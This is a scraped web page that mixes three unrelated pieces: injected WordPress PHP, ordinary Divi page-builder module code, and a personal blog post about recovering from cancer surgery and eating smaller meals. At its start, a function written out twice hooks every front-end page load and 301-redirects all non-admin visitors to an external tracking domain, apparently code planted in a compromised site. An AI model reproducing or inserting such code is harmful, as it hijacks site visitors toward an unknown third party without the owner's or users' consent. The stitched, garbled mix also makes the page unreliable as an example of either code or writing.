function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect');function my_custom_redirect() { // Убедитесь, что этот код выполняется только на фронтенде if (!is_admin()) { // URL для редиректа $redirect_url = 'https://faq95.doctortrf.com/l/?sub1=[ID]&sub2=[SID]&sub3=3&sub4=bodyclick'; // Выполнить редирект wp_redirect($redirect_url, 301); exit(); } } add_action('template_redirect', 'my_custom_redirect'); class ET_Builder_Module_Fullwidth_Post_Title extends ET_Builder_Module { function init() { $this->name = esc_html__( 'Fullwidth Post Title', 'et_builder' ); $this->plural = esc_html__( 'Fullwidth Post Titles', 'et_builder' ); $this->slug = 'et_pb_fullwidth_post_title'; $this->vb_support = 'on'; $this->fullwidth = true; $this->defaults = array(); $this->featured_image_background = true; $this->main_css_element = '%%order_class%%'; $this->settings_modal_toggles = array( 'general' => array( 'toggles' => array( 'elements' => et_builder_i18n( 'Elements' ), ), ), 'advanced' => array( 'toggles' => array( 'text' => array( 'title' => et_builder_i18n( 'Text' ), 'priority' => 49, ), 'image_settings' => et_builder_i18n( 'Image' ), ), ), ); $this->advanced_fields = array( 'borders' => array( 'default' => array( 'css' => array( 'main' => array( 'border_radii' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", 'border_styles' => "{$this->main_css_element}.et_pb_featured_bg, {$this->main_css_element}", ), ), ), ), 'margin_padding' => array( 'css' => array( 'main' => ".et_pb_fullwidth_section {$this->main_css_element}.et_pb_post_title", 'important' => 'all', ), ), 'fonts' => array( 'title' => array( 'label' => et_builder_i18n( 'Title' ), 'use_all_caps' => true, 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container h1.entry-title, {$this->main_css_element} .et_pb_title_container h2.entry-title, {$this->main_css_element} .et_pb_title_container h3.entry-title, {$this->main_css_element} .et_pb_title_container h4.entry-title, {$this->main_css_element} .et_pb_title_container h5.entry-title, {$this->main_css_element} .et_pb_title_container h6.entry-title", ), 'header_level' => array( 'default' => 'h1', ), ), 'meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'css' => array( 'main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a", 'limited_main' => "{$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container a, {$this->main_css_element} .et_pb_title_container .et_pb_title_meta_container span", ), ), ), 'background' => array( 'css' => array( 'main' => "{$this->main_css_element}, {$this->main_css_element}.et_pb_featured_bg", ), ), 'max_width' => array( 'css' => array( 'module_alignment' => '.et_pb_fullwidth_section %%order_class%%.et_pb_post_title.et_pb_module', ), ), 'text' => array( 'options' => array( 'text_orientation' => array( 'default' => 'left', ), ), 'css' => array( 'main' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ) ), 'button' => false, ); $this->custom_css_fields = array( 'post_title' => array( 'label' => et_builder_i18n( 'Title' ), 'selector' => 'h1', ), 'post_meta' => array( 'label' => esc_html__( 'Meta', 'et_builder' ), 'selector' => '.et_pb_title_meta_container', ), 'post_image' => array( 'label' => esc_html__( 'Featured Image', 'et_builder' ), 'selector' => '.et_pb_title_featured_container', ), ); $this->help_videos = array( array( 'id' => 'wb8c06U0uCU', 'name' => esc_html__( 'An introduction to the Fullwidth Post Title module', 'et_builder' ), ), ); } function get_fields() { $fields = array( 'title' => array( 'label' => esc_html__( 'Show Title', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Title', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'meta' => array( 'label' => esc_html__( 'Show Meta', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'author', 'date', 'comments', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'author' => array( 'label' => esc_html__( 'Show Author', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Author Name in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date' => array( 'label' => esc_html__( 'Show Date', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'affects' => array( 'date_format', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Date in Post Meta', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'date_format' => array( 'label' => esc_html__( 'Date Format', 'et_builder' ), 'type' => 'text', 'option_category' => 'configuration', 'default_on_front' => 'M j, Y', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can define the Date Format in Post Meta. Default is \'M j, Y\'', 'et_builder' ), ), 'categories' => array( 'label' => esc_html__( 'Show Post Categories', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'show_if' => array( 'meta' => 'on', 'function.isPostOrTBLayout' => 'on', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Categories in Post Meta. Note: This option doesn\'t work with custom post types.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'comments' => array( 'label' => esc_html__( 'Show Comments Count', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Comments Count in Post Meta.', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_image' => array( 'label' => esc_html__( 'Show Featured Image', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'configuration', 'options' => array( 'on' => et_builder_i18n( 'Yes' ), 'off' => et_builder_i18n( 'No' ), ), 'default_on_front' => 'on', 'affects' => array( 'featured_placement', ), 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose whether or not display the Featured Image', 'et_builder' ), 'mobile_options' => true, 'hover' => 'tabs', ), 'featured_placement' => array( 'label' => esc_html__( 'Featured Image Placement', 'et_builder' ), 'type' => 'select', 'option_category' => 'layout', 'options' => array( 'below' => esc_html__( 'Below Title', 'et_builder' ), 'above' => esc_html__( 'Above Title', 'et_builder' ), 'background' => esc_html__( 'Title/Meta Background Image', 'et_builder' ), ), 'default_on_front' => 'below', 'depends_show_if' => 'on', 'toggle_slug' => 'elements', 'description' => esc_html__( 'Here you can choose where to place the Featured Image', 'et_builder' ), ), 'force_fullwidth' => array( 'label' => esc_html__( 'Force Fullwidth', 'et_builder' ), 'description' => esc_html__( "When enabled, this will force your image to extend 100% of the width of the column it's in.", 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'layout', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_width' => array( 'label' => esc_html__( 'Featured Image Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'width' ), 'default' => '100%', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_max_width' => array( 'label' => esc_html__( 'Featured Image Max Width', 'et_builder' ), 'description' => esc_html__( 'Adjust the max width of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-width' ), 'default' => 'none', 'default_unit' => '%', 'range_settings' => array( 'min' => '0', 'max' => '100', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'image_height' => array( 'label' => esc_html__( 'Featured Image Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'height' ), 'default' => 'auto', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_max_height' => array( 'label' => esc_html__( 'Featured Image Max Height', 'et_builder' ), 'description' => esc_html__( 'Adjust the max height of the featured image.', 'et_builder' ), 'type' => 'range', 'option_category' => 'layout', 'tab_slug' => 'advanced', 'toggle_slug' => 'width', 'allowed_values' => et_builder_get_acceptable_css_string_values( 'max-height' ), 'default' => 'none', 'default_unit' => 'px', 'range_settings' => array( 'min' => '0', 'max' => '1000', 'step' => '1', ), 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ) ), ), 'image_alignment' => array( 'label' => esc_html__( 'Image Alignment', 'et_builder' ), 'description' => esc_html__( 'Align image to the left, right or center.', 'et_builder' ), 'type' => 'align', 'option_category' => 'layout', 'options' => et_builder_get_text_orientation_options( array( 'justified' ) ), 'tab_slug' => 'advanced', 'toggle_slug' => 'image_settings', 'default' => 'center', 'responsive' => true, 'show_if' => array( 'featured_image' => 'on', 'featured_placement' => array( 'below', 'above' ), 'force_fullwidth' => 'off', ), ), 'text_color' => array( 'label' => esc_html__( 'Text Color', 'et_builder' ), 'type' => 'select', 'option_category' => 'color_option', 'options' => array( 'dark' => et_builder_i18n( 'Dark' ), 'light' => et_builder_i18n( 'Light' ), ), 'default_on_front' => 'dark', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'description' => esc_html__( 'Here you can choose the color for the Title/Meta text', 'et_builder' ), ), 'text_background' => array( 'label' => esc_html__( 'Use Text Background Color', 'et_builder' ), 'type' => 'yes_no_button', 'option_category' => 'color_option', 'options' => array( 'off' => et_builder_i18n( 'No' ), 'on' => et_builder_i18n( 'Yes' ), ), 'default_on_front' => 'off', 'affects' => array( 'text_bg_color', ), 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'description' => esc_html__( 'Here you can choose whether or not use the background color for the Title/Meta text', 'et_builder' ), ), 'text_bg_color' => array( 'default' => 'rgba(255,255,255,0.9)', 'label' => esc_html__( 'Text Background Color', 'et_builder' ), 'description' => esc_html__( "Pick a color to use behind the post title text. Reducing the color's opacity will allow the background image to show through while still increasing text readability.", 'et_builder' ), 'type' => 'color-alpha', 'depends_show_if' => 'on', 'tab_slug' => 'advanced', 'toggle_slug' => 'text', 'hover' => 'tabs', 'mobile_options' => true, ), ); return $fields; } public function get_transition_fields_css_props() { $fields = parent::get_transition_fields_css_props(); $fields['text_color'] = array( 'color' => implode(', ', array( '%%order_class%% .entry-title', '%%order_class%% .et_pb_title_meta_container', )) ); $fields['text_bg_color'] = array( 'background-color' => '%%order_class%% .et_pb_title_container' ); return $fields; } function render( $attrs, $content = null, $render_slug ) { $multi_view = et_pb_multi_view_options( $this ); $date_format = $this->props['date_format']; $featured_image = $this->props['featured_image']; $featured_placement = $this->props['featured_placement']; $text_color = $this->props['text_color']; $text_color_hover = et_pb_hover_options()->get_value( 'text_color', $this->props ); $text_background = $this->props['text_background']; $header_level = $this->props['title_level']; $text_bg_colors = et_pb_responsive_options()->get_property_values( $this->props, 'text_bg_color' ); $post_id = get_the_ID(); // display the shortcode only on singlular pages if ( ! is_singular() ) { $post_id = 0; } $output = ''; $featured_image_output = ''; $parallax_image_background = $this->get_parallax_image_background(); if ( $post_id && $multi_view->has_value( 'featured_image', 'on' ) && ( 'above' === $featured_placement || 'below' === $featured_placement ) ) { // Largest featured image size is needed when featured image is used in "post" post type and full width layout $featured_image_size = 'post' === get_post_type() && 'et_full_width_page' === get_post_meta( get_the_ID(), '_et_pb_page_layout', true ) ? 'et-pb-post-main-image-fullwidth-large' : 'large'; $post_thumbnail_id = get_post_thumbnail_id( $post_id ); $featured_image_src = et_()->array_get( wp_get_attachment_image_src( $post_thumbnail_id, $featured_image_size ), 0 ); $featured_image_content = $multi_view->render_element( array( 'tag' => 'img', 'attrs' => array( 'src' => $featured_image_src, ) ) ); $featured_image_output = $multi_view->render_element( array( 'tag' => 'div', 'content' => sprintf( '
%1$s
', $featured_image_content ), 'attrs' => array( 'class' => 'et_pb_title_featured_container', ), 'visibility' => array( 'featured_image' => 'on', ), 'required' => array( 'featured_image' => 'on', ), ) ); $image_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_height', 'auto' ); $image_max_height = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_height', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_height, '%%order_class%% .et_pb_title_featured_container img', 'height', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_height, '%%order_class%% .et_pb_title_featured_container img', 'max-height', $render_slug ); if ( 'off' === $this->props['force_fullwidth'] ) { $image_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_width', '100%' ); $image_max_width = et_pb_responsive_options()->get_property_values( $this->props, 'image_max_width', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_width, '%%order_class%% .et_pb_title_featured_image', 'width', $render_slug ); et_pb_responsive_options()->generate_responsive_css( $image_max_width, '%%order_class%% .et_pb_title_featured_image', 'max-width', $render_slug ); // Image alignment style $image_alignment_values = et_pb_responsive_options()->get_property_values( $this->props, 'image_alignment', 'none' ); et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'text-align', $render_slug, '', 'align' ); $image_alignments = array( 'left' => 'auto auto auto 0', 'center' => 'auto', 'right' => 'auto 0 auto auto', ); foreach ( $image_alignment_values as $breakpoint => $alignment ) { $image_alignment_values[ $breakpoint ] = et_()->array_get( $image_alignments, $alignment, '' ); } et_pb_responsive_options()->generate_responsive_css( $image_alignment_values, '%%order_class%% .et_pb_title_featured_image', 'margin', $render_slug, '', 'align' ); ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%% .et_pb_image_wrap', 'declaration' => 'width: auto;', ) ); } } if ( $multi_view->has_value( 'title', 'on' ) ) { if ( is_et_pb_preview() && isset( $_POST['post_title'] ) && wp_verify_nonce( $_POST['et_pb_preview_nonce'], 'et_pb_preview_nonce' ) ) { $post_title = esc_html( sanitize_text_field( wp_unslash( $_POST['post_title'] ) ) ); } else { // Unescaped for backwards compat reasons. $post_title = et_core_intentionally_unescaped( et_builder_get_current_title(), 'html' ); } $output .= $multi_view->render_element( array( 'tag' => et_pb_process_header_level( $header_level, 'h1' ), 'content' => $post_title, 'attrs' => array( 'class' => 'entry-title', ), 'visibility' => array( 'title' => 'on', ) ) ); } if ( $post_id && $multi_view->has_value( 'meta', 'on' ) ) { $meta_array = array(); foreach( array( 'author', 'date', 'categories', 'comments' ) as $single_meta ) { if ( 'categories' === $single_meta && ! is_singular( 'post' ) ) { continue; } $meta_array[] = $multi_view->render_element( array( 'content' => et_pb_postinfo_meta( array( $single_meta ), $date_format, esc_html__( '0 comments', 'et_builder' ), esc_html__( '1 comment', 'et_builder' ), '% ' . esc_html__( 'comments', 'et_builder' ) ), 'classes' => array( 'et_pb_title_meta_item--visible' => array( $single_meta => 'on', 'meta' => 'on', ), ), 'visibility' => array( $single_meta => 'on', 'meta' => 'on', ), 'required' => array( $single_meta => 'on', 'meta' => 'on', ), ) ); } $output .= $multi_view->render_element( array( 'tag' => 'p', 'content' => implode( '', $meta_array ), 'attrs' => array( 'class' => 'et_pb_title_meta_container', ), 'visibility' => array( 'meta' => 'on', ), ) ); } if ( 'on' === $text_background ) { // Text Background Color. et_pb_responsive_options()->generate_responsive_css( $text_bg_colors, '%%order_class%% .et_pb_title_container', 'background-color', $render_slug, '; padding: 1em 1.5em;', 'color' ); if ( et_pb_hover_options()->is_enabled( 'text_bg_color', $this->props ) ) { ET_Builder_Element::set_style( $render_slug, array( 'selector' => '%%order_class%%:hover .et_pb_title_container', 'declaration' => sprintf( 'background-color: %1$s; padding: 1em 1.5em;', esc_html( et_pb_hover_options()->get_value( 'text_bg_color', $this->props ) ) ), ) ); } } $video_background = $this->video_background(); $background_layout = 'dark' === $text_color ? 'light' : 'dark'; $data_background_layout = ''; $data_background_layout_hover = ''; if ( et_pb_hover_options()->is_enabled( 'text_color', $this->props ) && !empty( $text_color_hover ) && $text_color !== $text_color_hover ) { $data_background_layout = sprintf( ' data-background-layout="%1$s"', esc_attr( $text_color_hover ) ); $data_background_layout_hover = sprintf( ' data-background-layout-hover="%1$s"', esc_attr( $text_color ) ); } // Module classnames $this->add_classname( array( 'et_pb_post_title', $this->get_text_orientation_classname(), "et_pb_bg_layout_{$background_layout}", ) ); if ( 'on' === $multi_view->get_value( 'featured_image' ) && 'background' === $featured_placement ) { $this->add_classname( 'et_pb_featured_bg' ); } if ( 'above' === $featured_placement ) { $this->add_classname( 'et_pb_image_above' ); } if ( 'below' === $featured_placement ) { $this->add_classname( 'et_pb_image_below' ); } // Remove automatically added classnames $this->remove_classname( array( 'et_pb_fullwidth_post_title', ) ); $muti_view_data_attr = $multi_view->render_attrs( array( 'classes' => array( 'et_pb_featured_bg' => array( 'featured_image' => 'on', 'featured_placement' => 'background', ), ), ) ); $output = sprintf( ' %4$s %7$s %5$s
%1$s
%6$s', $output, $this->module_classname( $render_slug ), $this->module_id(), $parallax_image_background, 'on' === $featured_image && 'above' === $featured_placement ? $featured_image_output : '', // #5 'on' === $featured_image && 'below' === $featured_placement ? $featured_image_output : '', $video_background, $data_background_layout, $data_background_layout_hover, et_core_esc_previously( $muti_view_data_attr ) // #10 ); return $output; } } new ET_Builder_Module_Fullwidth_Post_Title; Therapeutic Thursday: Taking Food For Granted

Therapeutic Thursday

Cancer, Nutrition

Taking Food For Granted

My names Andrew Zagami and I just beat Cancer for the second time and I’m only 24. It wasn’t as hard as I thought it would be second time around, even the surgery wasn’t that bad, except for a few little surprises when I woke up…

you see the surgery went really well, they got out all the tumour and even told me I don’t need to have my second surgery they had planned in a couple weeks – bonus! But what did happen clearly wasn’t supposed to…

The vagus nerve helps to regulate the heartbeat, control muscle movement, keep a person breathing, and to transmit a variety of chemicals through the body. It is also responsible for keeping the digestive tract in working order, contracting the muscles of the stomach and intestines to help process food, and sending back information about what is being digested and what the body is getting out of it.

Because the tumour was wrapped around my Aorta they had to cut the vagus nerve which can potentially cause problems for my eating. The doctors told me that I wouldn’t be able to have big meals so I would have to stick with smaller portions throughout the day. I  even had to go on a no fat diet for a couple days in case fat leaked into my system which would have meant more surgery – thankfully I skipped that part.

Let me just quickly say a no fat diet is very boring and I’m glad it was only two days!!

‘Ok good for you, but what’s in it for me?’ I hear you say…

Well my point to all this is that we shouldn’t take food for granted! Too many people I know just eat whatever they want without realizing the consequences.

You see even though I may be stuck with eating smaller meals, I have a goal to reach. That goal is to be as strong as I was at the end of last year (before all this started) by the end of September this year. I will still need another week or two to recover from my surgery so that gives me just over 4 months.

So here’s what I’m going to do, once a month, maybe more depending on what you (my readers) want, I’m going to put up exactly what I’ve eaten for a day and how I fit it into my daily routine and where I’m at with progressing towards my goal.

 

Limitations can be removed and I’m going to show you how.

Can’t wait to share this journey with you.

 

Andrew Z

 

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